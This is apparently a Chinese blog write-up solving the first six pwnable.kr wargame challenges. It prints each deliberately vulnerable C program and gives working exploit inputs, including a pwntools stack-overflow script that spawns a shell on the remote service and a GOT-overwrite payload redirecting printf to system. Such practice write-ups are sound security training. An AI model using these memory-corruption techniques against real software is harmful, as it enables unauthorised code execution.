pwnable.kr前六题wp
文章最后更新时间为:2019年03月05日 13:36:02
0x01 fd
根据题目ssh [email protected] -p2222 (pw:guest)
, ssh登录目标服务器。
登录上之后查看当前目录文件,发现有三个文件fd
,fd.c
,flag
,分别查看一下内容,cat flag
发现无权限,fd也就是fd.c编译后的可执行文件。
其中flag.c
内容如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
解题点:
- argc与argv
对于C语言int main(int argc char *argv[])来说,argc保存的是命令行总的参数个数(包括程序名),argv这是传入参数的数组.举个例子,当你执行: ./test 1 2 3 时,argc = 4 而 argv[0] = test",argv[1] = 1,argv[2] = 2,argv[3] = 3 - atoi()
atoi是把字符串转换成整型数的一个函数。char ======> int - read()
UNIX/Linux平台上,对于控制台(Console)的标准输入,标准输出,标准错误输出,也对应了三个文件描述符(即fd = File Description )。它们分别是0,1,2。也就是说read(0,buf,32)表示从键盘读入至多32个字节到buf中
分析可知,我们需要让if判断成立,也就是控制buf为LETMEWIN\n
,也就是需要
- 使fd=0
- 输入
LETMEWIN\n
传到数组中
首先使得fd=0,也就是atoi( argv[1] ) - 0x1234
=0,此事与应注意,0x1234需要换算为十进制。
fd@ubuntu:~$ python -c "print(0x1234)"
4660
fd@ubuntu:~$ ./fd 4660
LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!
0x02 collision
依然还是ssh登录服务器,ssh [email protected] -p2222
。
和上题一样,当前目录有三个文件,查看一下c文件:
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
总之要使参数长度为20且hashcode == check_password( argv[1] )
成立。
在check_password中,我们传入了一个字符数组p,然后强制转换成int数组,char的存储大小为1字节,而int的存储大小为4字节,所以在转换的过程中每4个char转换为一个int,20个char字符转换为5个int。
如果输入的数据为12345678,用整型转换时的内存情况如下:
字符1
存储在内存为什么是0x31,这是字符1
的ascci码表示,字符在计算机中存储的都是其对应的ascci码
对20个字节,要构造输入的整型转换后的5个整数求和 == 0x21DD09EC,我们将前16个字节都设为0x01,后4个字节就是(0x21DD09EC-0x010101014)=0x1DD905E8。于是,我们可以输入串0x01 16 + 0xE80x050xD90x1D (注意以上排列顺序,因为是32位,所以是小端输入。)
实际上输入没有标准答案,但是输入不能混有0x00,因为0x00对应的字符是空格
标准输入中,非字母数字以及符号的ASCII字符并不好输入,实际上有这样一种技巧来通过生成的方式处理:
python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"
最终flag:
col@ubuntu:~$ ./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)
0x03 bof
下载文件,打开c源码如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
只要输入的overflowme覆盖掉key即可,只需要弄清楚多少个字节可以覆盖到key。
一开始我自己调试的时候,是自己把源代码重新编译了一遍,想着这样可以直接在行上下断点,然后查看栈信息即可,但是这样和答案不对。
所以还是在下载的程序上直接调试。参考https://www.jianshu.com/p/b7a2e255d243
首先gdb在func下断点,然后运行。
接着layout asm
进入反汇编窗口,单步到接收输入的地方。
继续单步,输入AAAAAAAA,然后查看栈内存信息。
A的ascci码是41,所以可以看到这里只要输入52个字符就可以到0xdeadbeef。
利用pwntools写的exp如下:
from pwn import *
r = remote("pwnable.kr",9000)
buf = "A"*52 + p32(0xcafebabe)
r.send(buf)
r.interactive()
运行结果:
0x04 flag
根据提示,下载flag。用查壳工具检查发现加了UPX的壳,执行strings flag
查询flag的壳类型。
脱壳,直接换kali:
之后拖入ida是以下结果:
F5s试试
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST08_8
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
程序首先malloc100字节内存,然后将flag复制进去,双击flag试试?得到flag:
UPX...? sounds like a delivery service :)
0x05 passcode
参考链接:https://www.jianshu.com/p/886a7b8c2ad5
依旧是ssh连接,然后利用xshell把可执行文件下载下来。
源码如下:
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
在login
函数调用scanf的时候,对参数没有取址的操作,那我们输入的数据保存到哪里去了呢?谁也不知道,因为passcode1
和 passcode2
没有被初始化,我们只知道scanf
把数据保存到passcode1
和passcode2
中的值指向的那个地址里去了。
如果能控制passcode1
或者passcode2
的值,把它们的值变成一个地址,那在输入的时候不就相当于往这个地址写东西了吗!
接下来用GDB调试。先查看一下调用了什么函数:
接着在welcome下个断点,然后查看一下堆栈信息。
可以看到welcome函数的ebp是0xffffd048,mov eax,gs:0x14
说明用了GS保护。继续输入n单步查看:
可以看到name位于 ebp -0x70,继续n向下,输入aaaaaa:
\
可以输入的aa在0xffffcfd8,继续,直到login函数,输入s进入函数。
可以看到ebp没变,login和welcome的ebp一样。继续向下看:
passcode1的地址是ebp-0x10,再继续下去就奔溃了。这是因为我们将值输入到了passcode1的值上面,指向了一个不可写的地址,所以奔溃了。那么我们是否可以提前控制passcode1的地址所在的值。
回想一下以上调试过程,login和welcome在一个栈空间,并且name位于ebp-0x70,passcode1位于ebp-0x10,相差0x60,也就是96个字节,而name长度为100,所以name后四个字节刚好可以覆盖passcode1。所以这里passcode1的值是可控的。
怎么利用呢,这里涉及到一个知识了:GOT表是可写的。
我们可以将passcode1的值设为某个地址,然后输入passcode1的时候可以控制该地址的值。也就是这两步我们可以控制一个地址和该地址上的值。这里就控制printf的地址和值即可,因为后面就调用了这个函数。
这里直接将printf对应的地址的值设置为system的地址,那么调用printf函数时,也就调用了system语句,输出了flag。
接下来就找地址即可:
- 用
readelf -r ./passcode
查看程序的 plt,可以看到printf的偏移是0x0804a000,综上把name的最后四个字节printf函数的地址,即0x0804a000。
- 用disassemble login找system的地址0x080485e3,又因为scanf的时候用的%d所以要把system的地址转换成十进制080483E3 == 134514147(十进制)
最终的payload = 'a'*96 +'\x00\xa0\x04\x08'+'\n'+'134514147\n'
验证flag:
passcode@ubuntu:~$ python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
0x06 random
首先下载文件到kali:
scp -P2222 [email protected]:/home/random/random /root
scp -P2222 [email protected]:/home/random/random.c /root/
源码如下:
#include <stdio.h>
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
首先产生一个随机数random,再接收输入到key,我们要满足的是(key ^ random) == 0xdeadbeef
,问题是这里的random是随机产生的,似乎无法确定值。
其实在于rand函数是伪随机的,伪随机数的"随机"之处是它的种子(seed),种子确定后,按照一定算法所计算出来的随机数序列也就完全确定了,C语言中,可以通过 srand() 来指定种子。如果用户在调用 rand()之前没有调用过 srand(),则系统默认种子为1。这里其实每次产生的随机数是一样的。
所以很简单了直接编写poc如下:
#include<stdio.h>
#include<stdlib.h>
void main(){
unsigned int random, result;
random = rand();
result = 0xdeadbeef ^ random;
printf("%x", result);
}
得到结果3039230856
random@ubuntu:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable...